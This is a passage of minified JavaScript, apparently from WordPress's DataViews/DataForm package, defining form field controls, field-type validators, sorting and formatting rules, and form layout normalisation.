y?(0,IN.jsx)(w2.Spinner,{}):(0,IN.jsx)(cEe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:Lt(f,i),label:l,value:h,help:c,options:v,onChange:g,__next40pxDefaultSize:!0,hideLabelFromVision:o,multiple:m})}var NN=s(C(),1),uEe=10;function Jte(e){let{field:t}=e,{elements:r}=gi({elements:t.elements,getElements:t.getElements});return r.length&gt;=uEe?(0,NN.jsx)(v2,{...e}):(0,NN.jsx)(x2,{...e})}var T2=s(A(),1);var $te=s(A(),1),ere=s(D(),1);var tre=s(C(),1),{ValidatedInputControl:dEe}=Wt($te.privateApis);function sl({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,type:i,prefix:a,suffix:l,validity:c}){let{label:u,placeholder:d,description:f,getValue:m,setValue:h,isValid:g}=t,v=m({item:e}),y=(0,ere.useCallback)(b=&gt;r(h({item:e,value:b})),[e,h,r]);return(0,tre.jsx)(dEe,{required:!!g.required,markWhenOptional:n,customValidity:Lt(g,c),label:u,placeholder:d,value:v??&quot;&quot;,help:f,onChange:y,hideLabelFromVision:o,type:i,prefix:a,suffix:l,pattern:g.pattern?g.pattern.constraint:void 0,minLength:g.minLength?g.minLength.constraint:void 0,maxLength:g.maxLength?g.maxLength.constraint:void 0,__next40pxDefaultSize:!0})}var C2=s(C(),1);function rre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){return(0,C2.jsx)(sl,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i,type:&quot;email&quot;,prefix:(0,C2.jsx)(T2.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,C2.jsx)(T2.Icon,{icon:KR})})})}var k2=s(A(),1);var P2=s(C(),1);function ore({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){return(0,P2.jsx)(sl,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i,type:&quot;tel&quot;,prefix:(0,P2.jsx)(k2.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,P2.jsx)(k2.Icon,{icon:Ym})})})}var R2=s(A(),1);var E2=s(C(),1);function nre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){return(0,E2.jsx)(sl,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i,type:&quot;url&quot;,prefix:(0,E2.jsx)(R2.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,E2.jsx)(R2.Icon,{icon:cA})})})}var Lc=s(A(),1),Z0=s(D(),1),A2=s(E(),1);var kd=s(C(),1),{ValidatedNumberControl:fEe}=Wt(Lc.privateApis);function ire(e){if(e===&quot;&quot;||e===void 0)return&quot;&quot;;let t=Number(e);return Number.isFinite(t)?t:&quot;&quot;}function mEe({value:e,onChange:t,hideLabelFromVision:r,step:o}){let[n=&quot;&quot;,i=&quot;&quot;]=e,a=(0,Z0.useCallback)(c=&gt;t([ire(c),i]),[t,i]),l=(0,Z0.useCallback)(c=&gt;t([n,ire(c)]),[t,n]);return(0,kd.jsx)(Lc.BaseControl,{help:(0,A2.__)(&quot;The max. value must be greater than the min. value.&quot;),children:(0,kd.jsxs)(Lc.Flex,{direction:&quot;row&quot;,gap:4,children:[(0,kd.jsx)(Lc.__experimentalNumberControl,{label:(0,A2.__)(&quot;Min.&quot;),value:n,max:i?Number(i)-o:void 0,onChange:a,__next40pxDefaultSize:!0,hideLabelFromVision:r,step:o}),(0,kd.jsx)(Lc.__experimentalNumberControl,{label:(0,A2.__)(&quot;Max.&quot;),value:i,min:n?Number(n)+o:void 0,onChange:l,__next40pxDefaultSize:!0,hideLabelFromVision:r,step:o})]})})}function O2({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,operator:i,validity:a}){let l=t.format?.decimals??0,c=Math.pow(10,Math.abs(l)*-1),{label:u,description:d,getValue:f,setValue:m,isValid:h}=t,g=f({item:e})??&quot;&quot;,v=(0,Z0.useCallback)(b=&gt;{r(m({item:e,value:[&quot;&quot;,void 0].includes(b)?void 0:Number(b)}))},[e,r,m]),y=(0,Z0.useCallback)(b=&gt;{r(m({item:e,value:b}))},[e,r,m]);if(i===Vn){let b=[&quot;&quot;,&quot;&quot;];return Array.isArray(g)&amp;&amp;g.length===2&amp;&amp;g.every(_=&gt;typeof _==&quot;number&quot;||_===&quot;&quot;)&amp;&amp;(b=g),(0,kd.jsx)(mEe,{value:b,onChange:y,hideLabelFromVision:o,step:c})}return(0,kd.jsx)(fEe,{required:!!h.required,markWhenOptional:n,customValidity:Lt(h,a),label:u,help:d,value:g,onChange:v,__next40pxDefaultSize:!0,hideLabelFromVision:o,step:c,min:h.min?h.min.constraint:void 0,max:h.max?h.max.constraint:void 0})}var sre=s(C(),1);function are(e){return(0,sre.jsx)(O2,{...e})}var lre=s(C(),1);function cre(e){return(0,lre.jsx)(O2,{...e})}var I2=s(A(),1),ure=s(D(),1);var FN=s(C(),1),{ValidatedRadioControl:pEe}=Wt(I2.privateApis);function dre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{label:a,description:l,getValue:c,setValue:u,isValid:d}=t,{elements:f,isLoading:m}=gi({elements:t.elements,getElements:t.getElements}),h=c({item:e}),g=(0,ure.useCallback)(v=&gt;r(u({item:e,value:v})),[e,r,u]);return m?(0,FN.jsx)(I2.Spinner,{}):(0,FN.jsx)(pEe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:Lt(d,i),label:a,help:l,onChange:g,options:f,selected:h,hideLabelFromVision:o})}var DN=s(D(),1);var fre=s(C(),1);function mre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,config:i,validity:a}){let{prefix:l,suffix:c}=i||{};return(0,fre.jsx)(sl,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:a,prefix:l?(0,DN.createElement)(l):void 0,suffix:c?(0,DN.createElement)(c):void 0})}var pre=s(A(),1),hre=s(D(),1);var gre=s(C(),1),{ValidatedToggleControl:hEe}=Wt(pre.privateApis);function vre({field:e,onChange:t,data:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{label:a,description:l,getValue:c,setValue:u,isValid:d}=e,f=(0,hre.useCallback)(()=&gt;{t(u({item:r,value:!c({item:r})}))},[t,u,r,c]);return(0,gre.jsx)(hEe,{required:!!d.required,markWhenOptional:n,customValidity:Lt(d,i),hidden:o,label:a,help:l,checked:c({item:r}),onChange:f})}var yre=s(A(),1),bre=s(D(),1);var Sre=s(C(),1),{ValidatedTextareaControl:gEe}=Wt(yre.privateApis);function _re({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,config:i,validity:a}){let{rows:l=4}=i||{},{label:c,placeholder:u,description:d,setValue:f,isValid:m}=t,h=t.getValue({item:e}),g=(0,bre.useCallback)(v=&gt;r(f({item:e,value:v})),[e,r,f]);return(0,Sre.jsx)(gEe,{required:!!m.required,markWhenOptional:n,customValidity:Lt(m,a),label:c,placeholder:u,value:h??&quot;&quot;,help:d,onChange:g,rows:l,minLength:m.minLength?m.minLength.constraint:void 0,maxLength:m.maxLength?m.maxLength.constraint:void 0,__next40pxDefaultSize:!0,hideLabelFromVision:o})}var Wg=s(A(),1),wre=s(D(),1);var N2=s(C(),1),{ValidatedToggleGroupControl:vEe}=Wt(Wg.privateApis);function xre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{getValue:a,setValue:l,isValid:c}=t,u=a({item:e}),d=(0,wre.useCallback)(g=&gt;r(l({item:e,value:g})),[e,r,l]),{elements:f,isLoading:m}=gi({elements:t.elements,getElements:t.getElements});if(m)return(0,N2.jsx)(Wg.Spinner,{});if(f.length===0)return null;let h=f.find(g=&gt;g.value===u);return(0,N2.jsx)(vEe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:Lt(c,i),__next40pxDefaultSize:!0,isBlock:!0,label:t.label,help:h?.description||t.description,onChange:d,value:u,hideLabelFromVision:o,children:f.map(g=&gt;(0,N2.jsx)(Wg.__experimentalToggleGroupControlOption,{label:g.label,value:g.value},g.value))})}var F2=s(A(),1),D2=s(D(),1);var K0=s(C(),1),{ValidatedFormTokenField:yEe}=Wt(F2.privateApis);function Cre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{label:a,placeholder:l,getValue:c,setValue:u,isValid:d}=t,f=c({item:e}),{elements:m,isLoading:h}=gi({elements:t.elements,getElements:t.getElements}),g=(0,D2.useMemo)(()=&gt;Array.isArray(f)?f.map(y=&gt;m?.find(_=&gt;_.value===y)||{value:y,label:y}):[],[f,m]),v=(0,D2.useCallback)(y=&gt;{let b=y.map(_=&gt;typeof _==&quot;object&quot;&amp;&amp;&quot;value&quot;in _?_.value:_);r(u({item:e,value:b}))},[r,u,e]);return h?(0,K0.jsx)(F2.Spinner,{}):(0,K0.jsx)(yEe,{required:!!d?.required,markWhenOptional:n,customValidity:Lt(d,i),label:o?void 0:a,value:g,onChange:v,placeholder:l,suggestions:m?.map(y=&gt;y.value),__experimentalValidateInput:y=&gt;t.isValid?.elements&amp;&amp;m?m.some(b=&gt;b.value===y||b.label===y):!0,__experimentalExpandOnFocus:m&amp;&amp;m.length&gt;0,__experimentalShowHowTo:!t.isValid?.elements,displayTransform:y=&gt;typeof y==&quot;object&quot;&amp;&amp;&quot;label&quot;in y?y.label:typeof y==&quot;string&quot;&amp;&amp;m&amp;&amp;m.find(_=&gt;_.value===y)?.label||y,__experimentalRenderItem:({item:y})=&gt;{if(typeof y==&quot;string&quot;&amp;&amp;m){let b=m.find(_=&gt;_.value===y);return(0,K0.jsx)(&quot;span&quot;,{children:b?.label||y})}return(0,K0.jsx)(&quot;span&quot;,{children:y})}})}var vi=s(A(),1),BN=s(D(),1),Tre=s(E(),1);var Vc=s(C(),1),{ValidatedInputControl:bEe}=Wt(vi.privateApis),SEe=({color:e,onColorChange:t})=&gt;{let r=e&amp;&amp;xr(e).isValid()?e:&quot;#ffffff&quot;;return(0,Vc.jsx)(vi.Dropdown,{className:&quot;dataviews-controls__color-picker-dropdown&quot;,popoverProps:{resize:!1},renderToggle:({onToggle:o})=&gt;(0,Vc.jsx)(vi.Button,{onClick:o,&quot;aria-label&quot;:(0,Tre.__)(&quot;Open color picker&quot;),size:&quot;small&quot;,icon:()=&gt;(0,Vc.jsx)(vi.ColorIndicator,{colorValue:r})}),renderContent:()=&gt;(0,Vc.jsx)(vi.__experimentalDropdownContentWrapper,{paddingSize:&quot;none&quot;,children:(0,Vc.jsx)(vi.ColorPicker,{color:r,onChange:t,enableAlpha:!0})})})};function Pre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let{label:a,placeholder:l,description:c,setValue:u,isValid:d}=t,f=t.getValue({item:e})||&quot;&quot;,m=(0,BN.useCallback)(g=&gt;{r(u({item:e,value:g}))},[e,r,u]),h=(0,BN.useCallback)(g=&gt;{r(u({item:e,value:g||&quot;&quot;}))},[e,r,u]);return(0,Vc.jsx)(bEe,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:Lt(d,i),label:a,placeholder:l,value:f,help:c,onChange:h,hideLabelFromVision:o,type:&quot;text&quot;,prefix:(0,Vc.jsx)(vi.__experimentalInputControlPrefixWrapper,{variant:&quot;control&quot;,children:(0,Vc.jsx)(SEe,{color:f,onColorChange:m})})})}var M2=s(A(),1),L2=s(D(),1),MN=s(E(),1);var B2=s(C(),1);function kre({data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i}){let[a,l]=(0,L2.useState)(!1),c=(0,L2.useCallback)(()=&gt;{l(u=&gt;!u)},[]);return(0,B2.jsx)(sl,{data:e,field:t,onChange:r,hideLabelFromVision:o,markWhenOptional:n,validity:i,type:a?&quot;text&quot;:&quot;password&quot;,suffix:(0,B2.jsx)(M2.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,B2.jsx)(M2.Button,{icon:a?tO:Gd,onClick:c,size:&quot;small&quot;,label:a?(0,MN.__)(&quot;Hide password&quot;):(0,MN.__)(&quot;Show password&quot;)})})})}function V2(e){return Array.isArray(e.elements)&amp;&amp;e.elements.length&gt;0||typeof e.getElements==&quot;function&quot;}var Rre=s(C(),1),Ere={adaptiveSelect:Jte,array:Cre,checkbox:Wte,color:Pre,combobox:v2,datetime:Zte,date:Xte,email:rre,telephone:ore,url:nre,integer:are,number:cre,password:kre,radio:dre,select:x2,text:mre,toggle:vre,textarea:_re,toggleGroup:xre};function _Ee(e){return e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;typeof e.control==&quot;string&quot;}function wEe(e){let{control:t,...r}=e,o=j2(t);return o===null?null:function(i){return(0,Rre.jsx)(o,{...i,config:r})}}function Are(e,t){return typeof e.Edit==&quot;function&quot;?e.Edit:typeof e.Edit==&quot;string&quot;?j2(e.Edit):_Ee(e.Edit)?wEe(e.Edit):V2(e)&amp;&amp;e.type!==&quot;array&quot;?j2(&quot;adaptiveSelect&quot;):t===null?null:j2(t)}function j2(e){return Object.keys(Ere).includes(e)?Ere[e]:null}function xEe(e,t,r){if(e.filterBy===!1)return!1;let o=e.filterBy?.operators?.filter(n=&gt;r.includes(n))??t;return o.length===0?!1:{isPrimary:!!e.filterBy?.isPrimary,operators:o}}var Ore=xEe;var CEe=e=&gt;({item:t})=&gt;{let r=e.split(&quot;.&quot;),o=t;for(let n of r)o.hasOwnProperty(n)?o=o[n]:o=void 0;return o},Ire=CEe;var TEe=e=&gt;({value:t})=&gt;{let r=e.split(&quot;.&quot;),o={},n=o;for(let i of r.slice(0,-1))n[i]={},n=n[i];return n[r.at(-1)]=t,o},Nre=TEe;var Dre=s(E(),1);function z2({item:e,field:t}){let{elements:r,isLoading:o}=gi({elements:t.elements,getElements:t.getElements}),n=t.getValue({item:e});return o||r.length===0?n:r?.find(i=&gt;i.value===n)?.label||t.getValue({item:e})}var Fre=s(C(),1);function Ar({item:e,field:t}){return t.hasElements?(0,Fre.jsx)(z2,{item:e,field:t}):t.getValueFormatted({item:e,field:t})}var al=(e,t,r)=&gt;r===&quot;asc&quot;?e.localeCompare(t):t.localeCompare(e);function Or(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)}function ll(e,t){if(typeof t.isValid.minLength?.constraint!=&quot;number&quot;)return!1;let r=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(r)?!0:String(r).length&gt;=t.isValid.minLength.constraint}function cl(e,t){if(typeof t.isValid.maxLength?.constraint!=&quot;number&quot;)return!1;let r=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(r)?!0:String(r).length&lt;=t.isValid.maxLength.constraint}function ul(e,t){if(t.isValid.pattern?.constraint===void 0)return!0;try{let r=new RegExp(t.isValid.pattern.constraint),o=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(o)?!0:r.test(String(o))}catch{return!1}}function Yt(e,t){let o=(t.elements??[]).map(i=&gt;i.value);if(o.length===0)return!0;let n=t.getValue({item:e});return[].concat(n).every(i=&gt;o.includes(i))}function PEe({item:e,field:t}){return t.getValue({item:e})}var Un=PEe;var kEe=/^[a-zA-Z0-9.!#$%&amp;&#039;*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;function EEe(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)&amp;&amp;!kEe.test(r)?(0,Dre.__)(&quot;Value must be a valid email address.&quot;):null}var Bre={type:&quot;email&quot;,render:Ar,Edit:&quot;email&quot;,sort:al,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[yr,br,rl,ol,nl,nr,ir,mn,pn],format:{},getValueFormatted:Un,validate:{required:Or,pattern:ul,minLength:ll,maxLength:cl,elements:Yt,custom:EEe}};var Mre=s(E(),1);var Yg=(e,t,r)=&gt;r===&quot;asc&quot;?e-t:t-e;function U2(e,t){if(typeof t.isValid.min?.constraint!=&quot;number&quot;)return!1;let r=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(r)?!0:Number(r)&gt;=t.isValid.min.constraint}function H2(e,t){if(typeof t.isValid.max?.constraint!=&quot;number&quot;)return!1;let r=t.getValue({item:e});return[void 0,&quot;&quot;,null].includes(r)?!0:Number(r)&lt;=t.isValid.max.constraint}var Lre={separatorThousand:&quot;,&quot;};function REe({item:e,field:t}){let r=t.getValue({item:e});if(r==null)return&quot;&quot;;if(r=Number(r),!Number.isFinite(r))return String(r);let o;t.type!==&quot;integer&quot;?o=Lre:o=t.format;let{separatorThousand:n}=o,i=Math.trunc(r);return n?String(i).replace(/\B(?=(\d{3})+(?!\d))/g,n):String(i)}function AEe(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)&amp;&amp;!Number.isInteger(r)?(0,Mre.__)(&quot;Value must be an integer.&quot;):null}var Vre={type:&quot;integer&quot;,render:Ar,Edit:&quot;integer&quot;,sort:Yg,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[yr,br,hd,gd,vd,yd,Vn],validOperators:[yr,br,hd,gd,vd,yd,Vn,nr,ir,mn,pn],format:Lre,getValueFormatted:REe,validate:{required:Or,min:U2,max:H2,elements:Yt,custom:AEe}};var jre=s(E(),1);var zre={separatorThousand:&quot;,&quot;,separatorDecimal:&quot;.&quot;,decimals:2};function OEe({item:e,field:t}){let r=t.getValue({item:e});if(r==null)return&quot;&quot;;if(r=Number(r),!Number.isFinite(r))return String(r);let o;t.type!==&quot;number&quot;?o=zre:o=t.format;let{separatorThousand:n,separatorDecimal:i,decimals:a}=o,l=r.toFixed(a),[c,u]=l.split(&quot;.&quot;),d=n?c.replace(/\B(?=(\d{3})+(?!\d))/g,n):c;return a===0?d:d+i+u}function IEe(e){return e===&quot;&quot;||e===void 0||e===null}function NEe(e,t){let r=t.getValue({item:e});return!IEe(r)&amp;&amp;!Number.isFinite(r)?(0,jre.__)(&quot;Value must be a number.&quot;):null}var Ure={type:&quot;number&quot;,render:Ar,Edit:&quot;number&quot;,sort:Yg,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[yr,br,hd,gd,vd,yd,Vn],validOperators:[yr,br,hd,gd,vd,yd,Vn,nr,ir,mn,pn],format:zre,getValueFormatted:OEe,validate:{required:Or,min:U2,max:H2,elements:Yt,custom:NEe}};var Hre={type:&quot;text&quot;,render:Ar,Edit:&quot;text&quot;,sort:al,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[yr,br,rl,ol,nl,nr,ir,mn,pn],format:{},getValueFormatted:Un,validate:{required:Or,pattern:ul,minLength:ll,maxLength:cl,elements:Yt}};var Am=s(po(),1);var Gre={datetime:(0,Am.getSettings)().formats.datetime,weekStartsOn:(0,Am.getSettings)().l10n.startOfWeek};function FEe({item:e,field:t}){let r=t.getValue({item:e});if([&quot;&quot;,void 0,null].includes(r))return&quot;&quot;;let o;return t.type!==&quot;datetime&quot;?o=Gre:o=t.format,(0,Am.dateI18n)(o.datetime,(0,Am.getDate)(r))}var DEe=(e,t,r)=&gt;{let o=new Date(e).getTime(),n=new Date(t).getTime();return r===&quot;asc&quot;?o-n:n-o},Wre={type:&quot;datetime&quot;,render:Ar,Edit:&quot;datetime&quot;,sort:DEe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[xd,Cd,bd,Sd,_d,wd,jn,hi],validOperators:[xd,Cd,bd,Sd,_d,wd,jn,hi],format:Gre,getValueFormatted:FEe,validate:{required:Or,elements:Yt}};var Om=s(po(),1);var Yre={date:(0,Om.getSettings)().formats.date,weekStartsOn:(0,Om.getSettings)().l10n.startOfWeek};function BEe({item:e,field:t}){let r=t.getValue({item:e});if([&quot;&quot;,void 0,null].includes(r))return&quot;&quot;;let o;return t.type!==&quot;date&quot;?o=Yre:o=t.format,(0,Om.dateI18n)(o.date,(0,Om.getDate)(r))}var MEe=(e,t,r)=&gt;{let o=new Date(e).getTime(),n=new Date(t).getTime();return r===&quot;asc&quot;?o-n:n-o},qre={type:&quot;date&quot;,render:Ar,Edit:&quot;date&quot;,sort:MEe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[xd,Cd,bd,Sd,_d,wd,jn,hi,Vn],validOperators:[xd,Cd,bd,Sd,_d,wd,jn,hi,Vn],format:Yre,getValueFormatted:BEe,validate:{required:Or,elements:Yt}};var G2=s(E(),1);function Zre(e,t){return t.getValue({item:e})===!0}function LEe({item:e,field:t}){let r=t.getValue({item:e});return r===!0?(0,G2.__)(&quot;True&quot;):r===!1?(0,G2.__)(&quot;False&quot;):&quot;&quot;}function VEe(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)&amp;&amp;![!0,!1].includes(r)?(0,G2.__)(&quot;Value must be true, false, or undefined&quot;):null}var jEe=(e,t,r)=&gt;{let o=!!e;return o===!!t?0:r===&quot;asc&quot;?o?1:-1:o?-1:1},Kre={type:&quot;boolean&quot;,render:Ar,Edit:&quot;checkbox&quot;,sort:jEe,validate:{required:Zre,elements:Yt,custom:VEe},enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[yr,br],validOperators:[yr,br],format:{},getValueFormatted:LEe};var Xre={type:&quot;media&quot;,render:()=&gt;null,Edit:null,sort:()=&gt;0,enableSorting:!1,enableGlobalSearch:!1,defaultOperators:[],validOperators:[],format:{},getValueFormatted:Un,validate:{}};var LN=s(E(),1);function Qre(e,t){let r=t.getValue({item:e});return Array.isArray(r)&amp;&amp;r.length&gt;0&amp;&amp;r.every(o=&gt;![void 0,&quot;&quot;,null].includes(o))}function Jre({item:e,field:t}){let r=t.getValue({item:e});return(Array.isArray(r)?r:[]).join(&quot;, &quot;)}function zEe({item:e,field:t}){return Jre({item:e,field:t})}function UEe(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)&amp;&amp;!Array.isArray(r)?(0,LN.__)(&quot;Value must be an array.&quot;):r.every(o=&gt;typeof o==&quot;string&quot;)?null:(0,LN.__)(&quot;Every value must be a string.&quot;)}var HEe=(e,t,r)=&gt;{let o=Array.isArray(e)?e:[],n=Array.isArray(t)?t:[];if(o.length!==n.length)return r===&quot;asc&quot;?o.length-n.length:n.length-o.length;let i=o.join(&quot;,&quot;),a=n.join(&quot;,&quot;);return r===&quot;asc&quot;?i.localeCompare(a):a.localeCompare(i)},$re={type:&quot;array&quot;,render:zEe,Edit:&quot;array&quot;,sort:HEe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[nr,ir,mn,pn],format:{},getValueFormatted:Jre,validate:{required:Qre,elements:Yt,custom:UEe}};function GEe({item:e,field:t}){return t.getValue({item:e})?&quot;\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022&quot;:&quot;&quot;}var eoe={type:&quot;password&quot;,render:Ar,Edit:&quot;password&quot;,sort:()=&gt;0,enableSorting:!1,enableGlobalSearch:!1,defaultOperators:[],validOperators:[],format:{},getValueFormatted:GEe,validate:{required:Or,pattern:ul,minLength:ll,maxLength:cl,elements:Yt}};var toe={type:&quot;telephone&quot;,render:Ar,Edit:&quot;telephone&quot;,sort:al,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[yr,br,rl,ol,nl,nr,ir,mn,pn],format:{},getValueFormatted:Un,validate:{required:Or,pattern:ul,minLength:ll,maxLength:cl,elements:Yt}};var roe=s(E(),1);var qg=s(C(),1);function WEe({item:e,field:t}){if(t.hasElements)return(0,qg.jsx)(z2,{item:e,field:t});let r=Un({item:e,field:t});return!r||!xr(r).isValid()?r:(0,qg.jsxs)(&quot;div&quot;,{style:{display:&quot;flex&quot;,alignItems:&quot;center&quot;,gap:&quot;8px&quot;},children:[(0,qg.jsx)(&quot;div&quot;,{style:{width:&quot;16px&quot;,height:&quot;16px&quot;,borderRadius:&quot;50%&quot;,backgroundColor:r,border:&quot;1px solid #ddd&quot;,flexShrink:0}}),(0,qg.jsx)(&quot;span&quot;,{children:r})]})}function YEe(e,t){let r=t.getValue({item:e});return![void 0,&quot;&quot;,null].includes(r)&amp;&amp;!xr(r).isValid()?(0,roe.__)(&quot;Value must be a valid color.&quot;):null}var qEe=(e,t,r)=&gt;{let o=xr(e),n=xr(t);if(!o.isValid()&amp;&amp;!n.isValid())return 0;if(!o.isValid())return r===&quot;asc&quot;?1:-1;if(!n.isValid())return r===&quot;asc&quot;?-1:1;let i=o.toHsl(),a=n.toHsl();return i.h!==a.h?r===&quot;asc&quot;?i.h-a.h:a.h-i.h:i.s!==a.s?r===&quot;asc&quot;?i.s-a.s:a.s-i.s:r===&quot;asc&quot;?i.l-a.l:a.l-i.l},ooe={type:&quot;color&quot;,render:WEe,Edit:&quot;color&quot;,sort:qEe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[yr,br,nr,ir],format:{},getValueFormatted:Un,validate:{required:Or,elements:Yt,custom:YEe}};var noe={type:&quot;url&quot;,render:Ar,Edit:&quot;url&quot;,sort:al,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[nr,ir],validOperators:[yr,br,rl,ol,nl,nr,ir,mn,pn],format:{},getValueFormatted:Un,validate:{required:Or,pattern:ul,minLength:ll,maxLength:cl,elements:Yt}};var ZEe=(e,t,r)=&gt;typeof e==&quot;number&quot;&amp;&amp;typeof t==&quot;number&quot;?Yg(e,t,r):al(e,t,r),ioe={render:Ar,Edit:null,sort:ZEe,enableSorting:!0,enableGlobalSearch:!1,defaultOperators:[yr,br],validOperators:zte(),format:{},getValueFormatted:Un,validate:{required:Or,elements:Yt}};function soe(e,t){let r;e.isValid?.required===!0&amp;&amp;t.validate.required!==void 0&amp;&amp;(r={constraint:!0,validate:t.validate.required});let o;(e.isValid?.elements===!0||e.isValid?.elements===void 0&amp;&amp;(e.elements||e.getElements))&amp;&amp;t.validate.elements!==void 0&amp;&amp;(o={constraint:!0,validate:t.validate.elements});let n;typeof e.isValid?.min==&quot;number&quot;&amp;&amp;t.validate.min!==void 0&amp;&amp;(n={constraint:e.isValid.min,validate:t.validate.min});let i;typeof e.isValid?.max==&quot;number&quot;&amp;&amp;t.validate.max!==void 0&amp;&amp;(i={constraint:e.isValid.max,validate:t.validate.max});let a;typeof e.isValid?.minLength==&quot;number&quot;&amp;&amp;t.validate.minLength!==void 0&amp;&amp;(a={constraint:e.isValid.minLength,validate:t.validate.minLength});let l;typeof e.isValid?.maxLength==&quot;number&quot;&amp;&amp;t.validate.maxLength!==void 0&amp;&amp;(l={constraint:e.isValid.maxLength,validate:t.validate.maxLength});let c;e.isValid?.pattern!==void 0&amp;&amp;t.validate.pattern!==void 0&amp;&amp;(c={constraint:e.isValid?.pattern,validate:t.validate.pattern});let u=e.isValid?.custom??t.validate.custom;return{required:r,elements:o,min:n,max:i,minLength:a,maxLength:l,pattern:c,custom:u}}function aoe(e){return e.validOperators.reduce((t,r)=&gt;{let o=jte(r);return o?.filter&amp;&amp;(t[r]=o.filter),t},{})}function KEe(e,t){return{...t.format,...e.format}}var loe=KEe;function XEe(e){let t=[Bre,Vre,Ure,Hre,Wre,qre,Kre,Xre,$re,eoe,toe,ooe,noe].find(r=&gt;r?.type===e);return t||ioe}function X0(e){return e.map(t=&gt;{let r=XEe(t.type),o=t.getValue||Ire(t.id),n=function(i,a,l){let c=o({item:i}),u=o({item:a});return t.sort?t.sort(c,u,l):r.sort(c,u,l)};return{id:t.id,label:t.label||t.id,header:t.header||t.label||t.id,description:t.description,placeholder:t.placeholder,getValue:o,setValue:t.setValue||Nre(t.id),elements:t.elements,getElements:t.getElements,hasElements:V2(t),isVisible:t.isVisible,enableHiding:t.enableHiding??!0,readOnly:t.readOnly??!1,type:r.type,render:t.render??r.render,Edit:Are(t,r.Edit),sort:n,enableSorting:t.enableSorting??r.enableSorting,enableGlobalSearch:t.enableGlobalSearch??r.enableGlobalSearch,isValid:soe(t,r),filterBy:Ore(t,r.defaultOperators,r.validOperators),filter:aoe(r),format:loe(t,r),getValueFormatted:t.getValueFormatted??r.getValueFormatted}})}var YN=s(D(),1);var coe=s(D(),1),uoe=s(C(),1),VN=(0,coe.createContext)({fields:[]});VN.displayName=&quot;DataFormContext&quot;;function doe({fields:e,children:t}){return(0,uoe.jsx)(VN.Provider,{value:{fields:e},children:t})}var Es=VN;var eE=s(D(),1);var Y2=s(D(),1),Q0=s(A(),1);var vn={type:&quot;regular&quot;,labelPosition:&quot;top&quot;},QEe=e=&gt;typeof e==&quot;string&quot;?[{id:e,visibility:&quot;when-collapsed&quot;}]:e.map(t=&gt;typeof t==&quot;string&quot;?{id:t,visibility:&quot;when-collapsed&quot;}:{id:t.id,visibility:t.visibility});function foe(e){let t=vn;if(e?.type===&quot;regular&quot;)t={type:&quot;regular&quot;,labelPosition:e?.labelPosition??&quot;top&quot;};else if(e?.type===&quot;panel&quot;){let r=e.summary??[],o=Array.isArray(r)?r:[r];t={type:&quot;panel&quot;,labelPosition:e?.labelPosition??&quot;side&quot;,openAs:e?.openAs??&quot;dropdown&quot;,summary:o,editVisibility:e?.editVisibility??&quot;on-hover&quot;}}else if(e?.type===&quot;card&quot;)if(e.withHeader===!1)t={type:&quot;card&quot;,withHeader:!1,isOpened:!0,summary:[],isCollapsible:!1};else{let r=e.summary??[];t={type:&quot;card&quot;,withHeader:!0,isOpened:typeof e.isOpened==&quot;boolean&quot;?e.isOpened:!0,summary:QEe(r),isCollapsible:e.isCollapsible===void 0?!0:e.isCollapsible}}else 